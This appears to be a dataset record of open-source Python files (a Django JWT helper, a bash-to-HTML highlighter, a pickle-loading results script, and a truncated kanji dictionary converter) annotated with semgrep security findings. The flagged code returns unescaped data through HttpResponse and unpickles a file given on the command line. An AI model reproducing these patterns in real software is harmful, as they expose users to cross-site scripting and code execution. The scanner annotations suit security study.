{ "blob_id": "e028add36292e959fca1d0e4e8a8f6fd0bf9ebbf", "branch_name": "refs/heads/master", "committer_date": 1683817018000, "content_id": "29496521f62686bf86399133d40432cefad570a9", "detected_licenses": [ "MIT" ], "directory_id": "187b1bbbef2ed779486c22fa9bb8003ececc363a", "extension": "py", "filename": "utils.py", "fork_events_count": 29, "gha_created_at": 1451218519000, "gha_event_created_at": 1673600232000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 48643803, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2377, "license": "MIT", "license_type": "permissive", "path": "/request_token/utils.py", "provenance": "stack-edu-0054.json.gz:588806", "repo_name": "yunojuno/django-request-token", "revision_date": 1683817018000, "revision_id": "c46a804541bb8863308c50f00e01d4898e1c9eb7", "snapshot_id": "332790320bb6b9162e22ce42ff31e5d7b2995733", "src_encoding": "UTF-8", "star_events_count": 48, "url": "https://raw.githubusercontent.com/yunojuno/django-request-token/c46a804541bb8863308c50f00e01d4898e1c9eb7/request_token/utils.py", "visit_date": "2023-05-26T11:56:51.031676" }
2.640625
stackv2
"""Basic encode/decode utils, taken from PyJWT.""" from __future__ import annotations import calendar import datetime from typing import Sequence from django.conf import settings from jwt import ( decode as jwt_decode, encode as jwt_encode, exceptions, get_unverified_header, ) # verification options - signature and expiry date DEFAULT_DECODE_OPTIONS = { "verify_signature": True, "verify_exp": True, "verify_nbf": True, "verify_iat": True, "verify_aud": False, "verify_iss": False, # we're only validating our own claims "require_exp": False, "require_iat": False, "require_nbf": False, } MANDATORY_CLAIMS = ("jti", "sub", "mod") def check_mandatory_claims( payload: dict, claims: Sequence[str] = MANDATORY_CLAIMS ) -> None: """Check dict for mandatory claims.""" for claim in claims: if claim not in payload: raise exceptions.MissingRequiredClaimError(claim) def encode(payload: dict, check_claims: Sequence[str] = MANDATORY_CLAIMS) -> str: """Encode JSON payload (using SECRET_KEY).""" check_mandatory_claims(payload, claims=check_claims) return jwt_encode(payload, settings.SECRET_KEY) def decode( token: str, options: dict[str, bool] | None = None, check_claims: Sequence[str] | None = None, algorithms: list[str] | None = None, ) -> dict: """Decode JWT payload and check for 'jti', 'sub' claims.""" if not options: options = DEFAULT_DECODE_OPTIONS if not check_claims: check_claims = MANDATORY_CLAIMS if not algorithms: # default encode algorithm - see PyJWT.encode algorithms = ["HS256"] decoded = jwt_decode( token, settings.SECRET_KEY, algorithms=algorithms, options=options ) check_mandatory_claims(decoded, claims=check_claims) return decoded def to_seconds(timestamp: datetime.datetime) -> int | None: """Convert timestamp into integers since epoch.""" try: return calendar.timegm(timestamp.utctimetuple()) except Exception: # noqa: B902 return None def is_jwt(jwt: str) -> bool: """Return True if the value supplied is a JWT.""" if not jwt: return False try: header = get_unverified_header(jwt) except exceptions.DecodeError: return False else: return header["typ"].lower() == "jwt"
85
26.96
81
13
584
python
[{"finding_id": "semgrep_rules.python.jwt.security.audit.jwt-python-exposed-data_7a1334c552256bff_671a79bf", "tool_name": "semgrep", "rule_id": "rules.python.jwt.security.audit.jwt-python-exposed-data", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 12, "column_end": 52, "code_snippet": "requires login"}, "cwe_id": "CWE-522: Insufficiently Protected Credentials", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A02:2017 - Broken Authentication", "references": [{"url": "https://owasp.org/Top10/A04_2021-Insecure_Design", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jwt.security.audit.jwt-python-exposed-data", "path": "/tmp/tmp10dxl77l/7a1334c552256bff.py", "start": {"line": 44, "col": 12, "offset": 1155}, "end": {"line": 44, "col": 52, "offset": 1195}, "extra": {"message": "The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload.", "metadata": {"owasp": ["A02:2017 - Broken Authentication", "A04:2021 - Insecure Design", "A06:2025 - Insecure Design"], "cwe": ["CWE-522: Insufficiently Protected Credentials"], "source-rule-url": "https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/", "category": "security", "technology": ["jwt"], "references": ["https://owasp.org/Top10/A04_2021-Insecure_Design"], "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-522" ]
[ "rules.python.jwt.security.audit.jwt-python-exposed-data" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 44 ]
[ 44 ]
[ 12 ]
[ 52 ]
[ "A02:2017 - Broken Authentication" ]
[ "The object is passed strictly to jwt.encode(...) Make sure that sensitive information is not exposed through JWT token payload." ]
[ 5 ]
[ "LOW" ]
[ "LOW" ]
utils.py
/request_token/utils.py
yunojuno/django-request-token
MIT
2024-11-18T21:51:50.482857+00:00
1,499,818,714,000
72699c508922f4710be52c74dc4f8453d683ff35
3
{ "blob_id": "72699c508922f4710be52c74dc4f8453d683ff35", "branch_name": "refs/heads/master", "committer_date": 1499818714000, "content_id": "4ca510460133a1ef6e92c54d6b8a574c3e223fec", "detected_licenses": [ "MIT" ], "directory_id": "6dfc5b41ca954e84a1daaf131ed38ae92f62547e", "extension": "py", "filename": "cmd2html.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7121, "license": "MIT", "license_type": "permissive", "path": "/website/cmd2html.py", "provenance": "stack-edu-0054.json.gz:588813", "repo_name": "jyluo/tellina", "revision_date": 1499818714000, "revision_id": "ea35623526bd347b72aaf02cea8aad22734a6198", "snapshot_id": "4687aae383e2a8e9632d8490f8ebbc8daba63121", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/jyluo/tellina/ea35623526bd347b72aaf02cea8aad22734a6198/website/cmd2html.py", "visit_date": "2021-01-01T18:32:10.058936" }
2.6875
stackv2
import os import sys import json from django.http import HttpResponse sys.path.append(os.path.join(os.path.dirname(__file__),"..", "tellina_learning_module")) from bashlex import data_tools ## load the manpage expl file, note that the root should be before tellina with open(os.path.join('website', 'manpage_expl.json'), encoding='UTF-8') as data_file: manpage_json = json.loads(data_file.read()) def explain_cmd(request): """ This is the responser for flag explanation: it takes in a request consist of a tuple (cmd_head, flag_name, node_kind) and returns the explanation of the flag. Arguments: request { cmd_head: the command to query flag_name: the flag to query node_kind: the type of span that the query is issued from } Returns: returns the manpage explanation of the cmd_head/flag_name """ if request.method == 'POST': cmd_head = request.POST.get('cmd_head') flag_name = request.POST.get('flag_name') node_kind = request.POST.get('node_kind') else: cmd_head = request.GET.get('cmd_head') flag_name = request.GET.get('flag_name') node_kind = request.GET.get('node_kind') if cmd_head: # retrieve the explanation of the command for cmd_obj in manpage_json: if cmd_head in cmd_obj["aliases"]: #cmd_expl = "Aliases:" + " ".join(cmd_obj["aliases"]) + "\n\n" + cmd_obj["description"] # note that we use "None" due to the serialized field is of string type if flag_name != "None": # in this case, our goal is to explain a command flag_expl_list = [] for option_desc in cmd_obj["optionDesc"]: if flag_name == option_desc["name"].split()[0]: flag_expl_list.append(option_desc["description"]) if flag_expl_list: return HttpResponse("".join(flag_expl_list)) else: return HttpResponse("") # if the flag is not provided, or we cannot find the flag if node_kind == "argument": return HttpResponse(cmd_obj["rawSynopsis"]) elif node_kind == "utility": return HttpResponse(cmd_obj["description"]) # in this case, either the thead is not provided or the head cannot be retrieved return HttpResponse("") def cmd2html(cmd_str): """ A wrapper for the function ast2html (see below) that takes in a cmd string and translate into a html string with highlinghting. """ return " ".join(ast2html(data_tools.bash_parser(cmd_str))) def tokens2html(cmd_str): """ A wrapper for the function ast2html (see below) that takes in a cmd string and translate into a html string with highlinghting. """ return " ".join(ast2html(cmd_str)) def ast2html(node): """ Translate a bash AST from tellina_learning_module/bashlex/nast.py into html code, with proper syntax highlighting. Argument: node: an ast returned from tellina_learning_module.data_tools.bash_parser(cmd_str) Returns: a html string that can be embedded into your browser with appropriate syntax highlighting """ dominator = retrieve_dominators(node) # the documation of the span span_doc = "dominate_cmd=\"" + (str(dominator[0]) if dominator[0] else "None") \ + "\" dominate_flag=\"" + (str(dominator[1]) if dominator[1] else "None") \ + "\" node_kind=\"" + node.kind + "\""; html_spans = [] # switching among node kinds for the generation of different spans if node.kind == "root": for child in node.children: html_spans.extend(ast2html(child)) elif node.kind == "pipeline": is_first = True for child in node.children: if is_first: is_first = False else: html_spans.append("|") html_spans.extend(ast2html(child)) elif node.kind == "utility": span = "<span class=\"hljs-built_in\" " + span_doc + " >" + node.value + "</span>" html_spans.append(span) for child in node.children: html_spans.extend(ast2html(child)) elif node.kind == "flag": # note there are two corner cases of flags: # -exec::; and -exec::+ since they have different endings if node.value == "-exec::;" or node.value == "-exec::+": head_span = "<span class=\"hljs-keyword\" " + span_doc + " >" + "-exec" + "</span>" else: head_span = "<span class=\"hljs-keyword\" " + span_doc + " >" + node.value + "</span>" html_spans.append(head_span) for child in node.children: html_spans.extend(ast2html(child)) if node.value == "-exec::;": html_spans.append("\\;") elif node.value == "-exec::+": html_spans.append("+"); elif node.kind == "argument" and node.arg_type != "ReservedWord": span = "<span class=\"hljs-semantic_types\" " + span_doc + " >" + node.value + "</span>" html_spans.append(span) for child in node.children: html_spans.extend(ast2html(child)) elif node.kind == "bracket": html_spans.append("\\(") for child in node.children: html_spans.extend(ast2html(child)) html_spans.append("\\)") elif node.kind in ["binarylogicop", "unarylogicop", "redirect"]: span = "<span class=\"hljs-keyword\" " + span_doc + " >" + node.value + "</span>" html_spans.append(span) elif node.kind in ["commandsubstitution", "processsubstitution"]: html_spans.append(node.value) html_spans.append("(") for child in node.children: html_spans.extend(ast2html(child)) html_spans.append(")") else: html_spans.append(node.value) return html_spans def retrieve_dominators(node): """ Given a node, retrieve its dominator, i.e., its utility and/or its dominate flag """ dominate_headcmd = None dominate_flag = None current_node = node while True: if current_node and current_node.kind == "flag": if not dominate_flag: dominate_flag = current_node.value # this is resulted from a corner case by Victoria, # for -exec::; -exec::+ and potentially others if "::" in dominate_flag: dominate_flag = dominate_flag[0: dominate_flag.index("::")] elif current_node and current_node.kind == "utility": dominate_headcmd = current_node.value return (dominate_headcmd, dominate_flag) # we have already find dominate_headcmd or we have reached root if current_node and (not current_node.parent): return (dominate_headcmd, dominate_flag) elif current_node: current_node = current_node.parent if dominate_headcmd is None: return ('', '') return (dominate_headcmd, dominate_flag) def test(): cmd_str_list = [ "find Path -iname Regex -exec grep -i -l Regex {} \;", "find Path -type f -iname Regex | xargs -I {} grep -i -l Regex {}", "find Path \( -name Regex-01 -or -name Regex-02 \) -print", "find Path -not -name Regex", "find . \( -mtime 10d -or -atime Timespan -or -atime Timespan -or -atime Timespan -or -atime Timespan \) -print", "find Documents \( -name \"*.py\" -o -name \"*.html\" \)" ]; for cmd_str in cmd_str_list: print(cmd2html(cmd_str)) if __name__ == '__main__': test()
192
36.09
118
21
1,787
python
[{"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_12da2231bb02801d_3ba95411", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 20, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmp10dxl77l/12da2231bb02801d.py", "start": {"line": 49, "col": 20, "offset": 1837}, "end": {"line": 49, "col": 57, "offset": 1874}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_12da2231bb02801d_209ebc67", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 55, "column_start": 18, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmp10dxl77l/12da2231bb02801d.py", "start": {"line": 55, "col": 18, "offset": 2047}, "end": {"line": 55, "col": 54, "offset": 2083}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_12da2231bb02801d_9ef26bb3", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 57, "line_end": 57, "column_start": 18, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmp10dxl77l/12da2231bb02801d.py", "start": {"line": 57, "col": 18, "offset": 2138}, "end": {"line": 57, "col": 54, "offset": 2174}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-79", "CWE-79", "CWE-79" ]
[ "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "rules.python.django.security.audit.xss.direct-use-of-httpresponse" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 49, 55, 57 ]
[ 49, 55, 57 ]
[ 20, 18, 18 ]
[ 57, 54, 54 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "Detected data rendered directly to the end user via 'HttpRes...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
cmd2html.py
/website/cmd2html.py
jyluo/tellina
MIT
2024-11-18T21:51:52.222323+00:00
1,496,694,721,000
5b67dc446dde175a3d1fe158a12e780405f5a078
3
{ "blob_id": "5b67dc446dde175a3d1fe158a12e780405f5a078", "branch_name": "refs/heads/master", "committer_date": 1496694721000, "content_id": "bc7f2e04ed313ac448916973873e11be992c90f3", "detected_licenses": [ "MIT" ], "directory_id": "0e46d6af2970335336559f2288a2f8cd69ecd9d0", "extension": "py", "filename": "sample_results.py", "fork_events_count": 1, "gha_created_at": 1471198279000, "gha_event_created_at": 1471802784000, "gha_language": null, "gha_license_id": null, "github_id": 65679830, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1524, "license": "MIT", "license_type": "permissive", "path": "/sample_results.py", "provenance": "stack-edu-0054.json.gz:588828", "repo_name": "uncommoncode/feature_explorer", "revision_date": 1496694721000, "revision_id": "b9f7f9eaeb4cecae237891569e3e5943fe15d171", "snapshot_id": "2b463efa1e3d096092e8c10083ebaab5148358c6", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/uncommoncode/feature_explorer/b9f7f9eaeb4cecae237891569e3e5943fe15d171/sample_results.py", "visit_date": "2021-01-20T21:12:48.635347" }
2.765625
stackv2
import random import model import cPickle as pickle import numpy as np def main(): import argparse parser = argparse.ArgumentParser() parser.add_argument("--classifier", choices=model.CLASSIFIERS.keys(), default=model.DEFAULT_CLASSIFIER, help="The classifier used for creating the probabilities") parser.add_argument("--sample", default=30, help="number of random samples to show") parser.add_argument("--top_k", default=5, help="top-k confident labels to show") parser.add_argument("--min_p", default=0.4, help="minimum confidence to allow") parser.add_argument("input_probs", help="The probabilities pickle created by run.py") args = parser.parse_args() classifier_ctor = model.CLASSIFIERS[args.classifier] classifier = classifier_ctor() with open(args.input_probs) as r: data = pickle.load(r) for image_path, scores in random.sample(data.items(), args.sample): # Filter based on min confidence. min_indices = np.argwhere(scores > args.min_p) # Filter the top confident results top_indices = scores.argsort()[::-1][:args.top_k] top_indices = top_indices[np.in1d(top_indices, min_indices)] top_labels = classifier.get_labels(top_indices) top_scores = scores[top_indices] # Print the score and label for each print image_path for score, label in zip(top_scores, top_labels): print " %s: %s" % (score, label) if __name__ == "__main__": main()
36
41.33
107
12
332
python
[{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_fd26ec286e615adf_246e66b8", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 10, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/fd26ec286e615adf.py", "start": {"line": 19, "col": 10, "offset": 815}, "end": {"line": 19, "col": 32, "offset": 837}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_fd26ec286e615adf_e37ca511", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 16, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmp10dxl77l/fd26ec286e615adf.py", "start": {"line": 20, "col": 16, "offset": 859}, "end": {"line": 20, "col": 30, "offset": 873}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_fd26ec286e615adf_f290e3fb", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 20, "line_end": 20, "column_start": 16, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/fd26ec286e615adf.py", "start": {"line": 20, "col": 16, "offset": 859}, "end": {"line": 20, "col": 30, "offset": 873}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 20, 20 ]
[ 20, 20 ]
[ 16, 16 ]
[ 30, 30 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead t...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
sample_results.py
/sample_results.py
uncommoncode/feature_explorer
MIT
2024-11-18T21:51:56.669902+00:00
1,577,621,574,000
51419702b425d931eaafcadcbfb095ad02945a8b
3
{ "blob_id": "51419702b425d931eaafcadcbfb095ad02945a8b", "branch_name": "refs/heads/master", "committer_date": 1577621574000, "content_id": "9918fa8e30b2a2b398458665e93ed371607d2689", "detected_licenses": [ "MIT" ], "directory_id": "5cf3f1180be891bb5a8ca7b0e8f9b7650ac5a69c", "extension": "py", "filename": "kanjidic.py", "fork_events_count": 15, "gha_created_at": 1551333216000, "gha_event_created_at": 1652282940000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 173049730, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3333, "license": "MIT", "license_type": "permissive", "path": "/tools/kanjidic.py", "provenance": "stack-edu-0054.json.gz:588880", "repo_name": "davidluzgouveia/kanji-data", "revision_date": 1577621574000, "revision_id": "a9a593317a462fcbb32697c1ea72e977a9720bf9", "snapshot_id": "ab4a523671918ba72aa94a0c84cb6d1d23f76ba4", "src_encoding": "UTF-8", "star_events_count": 93, "url": "https://raw.githubusercontent.com/davidluzgouveia/kanji-data/a9a593317a462fcbb32697c1ea72e977a9720bf9/tools/kanjidic.py", "visit_date": "2022-06-08T05:20:15.475816" }
2.890625
stackv2
import gzip import json import requests import string import xml.etree.ElementTree as etree # Converts the KANJIDIC dictionary in xml.gz format into JSON discarding unneeded data # The data is downloaded by the script from the official KANJIDIC project website # Outputs kanjidic.json with stroke, grade, freq, jlpt, meanings and readings for every kanji kanji = {} def get_kanjidic_data(): url = "http://www.edrdg.org/kanjidic/kanjidic2.xml.gz" request = requests.get(url) data = gzip.decompress(request.content) xml = data.decode("utf-8") tree = etree.fromstring(xml) # Source: https://github.com/olsgaard/Japanese_nlp_scripts/blob/master/hiragana_katakana_translitteration.py katakana_chart = "ァアィイゥウェエォオカガキギクグケゲコゴサザシジスズセゼソゾタダチヂッツヅテデトドナニヌネノハバパヒビピフブプヘベペホボポマミムメモャヤュユョヨラリルレロヮワヰヱヲンヴヵヶヽヾ" hiragana_chart = "ぁあぃいぅうぇえぉおかがきぎくぐけげこごさざしじすずせぜそぞただちぢっつづてでとどなにぬねのはばぱひびぴふぶぷへべぺほぼぽまみむめもゃやゅゆょよらりるれろゎわゐゑをんゔゕゖゝゞ" kat2hir = str.maketrans(katakana_chart, hiragana_chart) for character in tree.iter("character"): entry = { "strokes": None, "grade": None, "freq": None, "jlpt": None, "meanings": [], "readings_on": [], "readings_kun": [] } literal = character.find("literal").text kanji[literal] = entry misc = character.find("misc") if misc is not None: grade = misc.find("grade") if grade is not None: entry["grade"] = int(grade.text) freq = misc.find("freq") if freq is not None: entry["freq"] = int(freq.text) jlpt = misc.find("jlpt") if jlpt is not None: entry["jlpt"] = int(jlpt.text) stroke_count = misc.find("stroke_count") if stroke_count is not None: entry["strokes"] = int(stroke_count.text) reading_meaning = character.find("reading_meaning") if reading_meaning is not None: rmgroups = reading_meaning.findall("rmgroup") for rmgroup in rmgroups: meanings = 